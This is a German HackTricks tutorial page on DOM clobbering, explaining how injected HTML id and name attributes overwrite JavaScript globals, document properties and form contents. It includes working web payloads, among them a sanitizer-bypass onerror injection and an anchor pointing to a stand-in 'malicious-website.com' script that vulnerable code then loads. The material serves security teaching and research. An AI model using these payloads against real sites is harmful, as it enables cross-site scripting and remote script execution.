220 lines
11 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
{{#include ../../banners/hacktricks-training.md}}
## **Grundlagen**
Es ist möglich, **globale Variablen im JS-Kontext** mit den Attributen **`id`** und **`name`** in HTML-Tags zu generieren.
```html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
```
**Nur** bestimmte Elemente können das **name-Attribut** verwenden, um Globals zu clobbern, und zwar: `embed`, `form`, `iframe`, `image`, `img` und `object`.
Interessanterweise, wenn Sie ein **Formular-Element** verwenden, um eine Variable zu **clobbern**, erhalten Sie den **`toString`**-Wert des Elements selbst: `[object HTMLFormElement]`, aber bei **Anker** wird der **`toString`** der Anker **`href`** sein. Daher können Sie, wenn Sie mit dem **`a`**-Tag clobbern, den **Wert** steuern, wenn er **als String** behandelt wird:
```html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
```
### Arrays & Attribute
Es ist auch möglich, **ein Array** und **Objektattribute** zu **überschreiben**:
```html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
```
Um **ein 3. Attribut** (z.B. x.y.z) zu überschreiben, müssen Sie ein **`form`** verwenden:
```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
```
Das Überschreiben weiterer Attribute ist **komplizierter, aber dennoch möglich**, indem man iframes verwendet:
```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
```
> [!WARNING]
> Das style-Tag wird verwendet, um **genug Zeit für das Rendern des iframes zu geben**. Ohne es wirst du eine Warnung von **undefined** finden.
Um tiefere Attribute zu überschreiben, kannst du **iframes mit HTML-Codierung** auf diese Weise verwenden:
```html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
```
### **Filterumgehung**
Wenn ein Filter durch die Eigenschaften eines Knotens mit etwas wie `document.getElementByID('x').attributes` **schleift**, könntest du das Attribut **`.attributes`** **überschreiben** und den Filter **brechen**. Andere DOM-Eigenschaften wie **`tagName`**, **`nodeName`** oder **`parentNode`** und mehr sind ebenfalls **überschreibbar**.
```html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
In JavaScript ist es üblich, Folgendes zu finden:
```javascript
var someObject = window.someObject || {}
```
Das Manipulieren von HTML auf der Seite ermöglicht es, `someObject` mit einem DOM-Knoten zu überschreiben, was potenziell Sicherheitsanfälligkeiten einführen kann. Zum Beispiel können Sie `someObject` durch ein Ankerelement ersetzen, das auf ein bösartiges Skript verweist:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
In einem anfälligen Code wie:
```html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
```
Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.
**Trick**: **`DOMPurify`** erlaubt die Verwendung des **`cid:`**-Protokolls, das **doppelte Anführungszeichen nicht URL-kodiert**. Das bedeutet, dass Sie **ein kodiertes doppeltes Anführungszeichen injizieren können, das zur Laufzeit dekodiert wird**. Daher wird das Injizieren von etwas wie **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** dazu führen, dass das HTML-kodierte `&quot;` zur **Laufzeit dekodiert** wird und **aus dem Attributwert entkommt**, um das **`onerror`**-Ereignis zu **erzeugen**.
Eine andere Technik verwendet ein **`form`**-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formularelements, um sie zu bereinigen. Durch das Hinzufügen eines `input` mit `id=attributes` innerhalb des Formulars überschreiben Sie jedoch effektiv die Eigenschaften der Attribute, wodurch der Sanitizer daran gehindert wird, auf die tatsächlichen Attribute zuzugreifen.
Sie können [**ein Beispiel für diese Art von Clobbering in diesem CTF-Bericht finden**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Clobbering des Dokumentobjekts
Laut der Dokumentation ist es möglich, Attribute des Dokumentobjekts mithilfe von DOM Clobbering zu überschreiben:
> Die [Document](https://html.spec.whatwg.org/multipage/dom.html#document) Schnittstelle [unterstützt benannte Eigenschaften](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Die [unterstützten Eigenschaftsnamen](https://webidl.spec.whatwg.org/#dfn-supported-property-names) eines [Document](https://html.spec.whatwg.org/multipage/dom.html#document) Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in [Baumreihenfolge](https://dom.spec.whatwg.org/#concept-tree-order) entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Attributen vor Werten von Namensattributen kommen, wenn dasselbe Element beide beiträgt:
>
> \- Der Wert des Namensinhaltsattributs für alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) und [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) Elemente, die ein nicht leeres Namensinhaltattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
> \
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattributs für alle [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) Elemente, die ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden;\
> \
> \- Der Wert des [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattributs für alle [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) Elemente, die sowohl ein nicht leeres [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) Inhaltsattribut als auch ein nicht leeres Namensinhaltattribut haben und sich [in einem Dokumentbaum](https://dom.spec.whatwg.org/#in-a-document-tree) mit Dokument als ihrem [Wurzel](https://dom.spec.whatwg.org/#concept-tree-root) befinden.
Mit dieser Technik können Sie häufig verwendete **Werte wie `document.cookie`, `document.body`, `document.children`** und sogar Methoden in der Document-Schnittstelle wie `document.querySelector` überschreiben.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Schreiben nach dem Element, das überschrieben wurde
Die Ergebnisse von Aufrufen von **`document.getElementById()`** und **`document.querySelector()`** können verändert werden, indem ein `<html>`- oder `<body>`-Tag mit einem identischen id-Attribut injiziert wird. So kann es gemacht werden:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
```
Darüber hinaus kann durch den Einsatz von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im `innerText` verhindert werden, wodurch die Wirksamkeit des Angriffs erhöht wird:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Untersuchungen zu SVG haben ergeben, dass ein `<body>`-Tag ebenfalls effektiv genutzt werden kann:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
Um das HTML-Tag innerhalb von SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein `<foreignobject>`-Tag erforderlich:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
```
## Clobbering Forms
Es ist möglich, **neue Einträge in ein Formular hinzuzufügen**, indem man einfach das **`form`-Attribut** in einigen Tags angibt. Man kann dies verwenden, um **neue Werte in ein Formular hinzuzufügen** und sogar einen neuen **Button** hinzuzufügen, um ihn **zu senden** (Clickjacking oder Missbrauch von etwas `.click()` JS-Code):
```html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
- Für weitere Formattribute in [**Button überprüfen Sie dies**](https://www.w3schools.com/tags/tag_button.asp)**.**
## Referenzen
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. JavaScript für Hacker: Lernen Sie, wie ein Hacker zu denken.
{{#include ../../banners/hacktricks-training.md}}